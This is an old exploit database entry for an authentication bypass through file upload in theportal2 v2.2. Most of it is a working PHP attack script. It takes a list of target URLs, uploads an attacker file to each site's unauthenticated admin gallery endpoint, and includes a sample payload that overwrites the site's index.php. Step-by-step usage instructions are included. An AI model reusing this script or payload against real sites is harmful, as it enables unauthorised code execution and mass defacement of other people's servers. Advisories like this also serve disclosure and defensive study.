web apps theportal2 v2.2 (Auth bypass) file upload

vendor:

theportal2

by:

siurek22

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: theportal2

Affected Version From: v2.2

Affected Version To: v2.2

Patch Exists: NO

Related CWE: N/A

CPE: a:theportal2:theportal2:2.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

web apps theportal2 v2.2 (Auth bypass) file upload

An attacker can bypass authentication by uploading a malicious file to the server using the vulnerable file upload feature. The attacker can then execute arbitrary code on the server by accessing the malicious file.

Mitigation:

Ensure that the file upload feature is properly secured and that all uploaded files are scanned for malicious content.

Source

Exploit-DB raw data:

[ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
-------------------- 

You need curl to run it

--------------------
Code:
--------------------
upload.php


<?php
$file=$_POST['url'];
$fel=explode("\n", $file);




$ile=count($fel);
if(empty($file))
{
 echo'<br><br><br>
                                               <center>
                                               <form method="post">
                                               <textarea type="text" name="url" cols="50" rows="10">&lt;/textarea&gt;
                                               <input type="submit" value="OWNED">
                                               </form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
                $c = curl_init();
                $postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
                $postFields['tytul'] = 'us';
                $postFields['opis'] = 'us';
                $postFields['kategoria'] = 1;
                $postFields['B1'] = 'dodaj';
                curl_setopt($c, CURLOPT_URL, $url2);
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                $odpowiedz3=curl_exec($c);

                curl_close($c);
}
}              
?>

------------
 â€žown.phpâ€ with your code php
Example:

<?php
$text="<?php die(\"OWNED...\"); ?>";
$adres=$_SERVER['SCRIPT_FILENAME'];
$adres=str_replace("own.php","",$adres);
$adres=substr($adres,0, -8);
$adres=$adres."index.php";
$fp=fopen($adres,"w");
fwrite($fp, $text);
fclose($fp);

?>

Example:
1 Put upload.php and own.php at server
2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED
3 Now go to url your file target.com/galeria/own.php

# milw0rm.com [2008-12-29]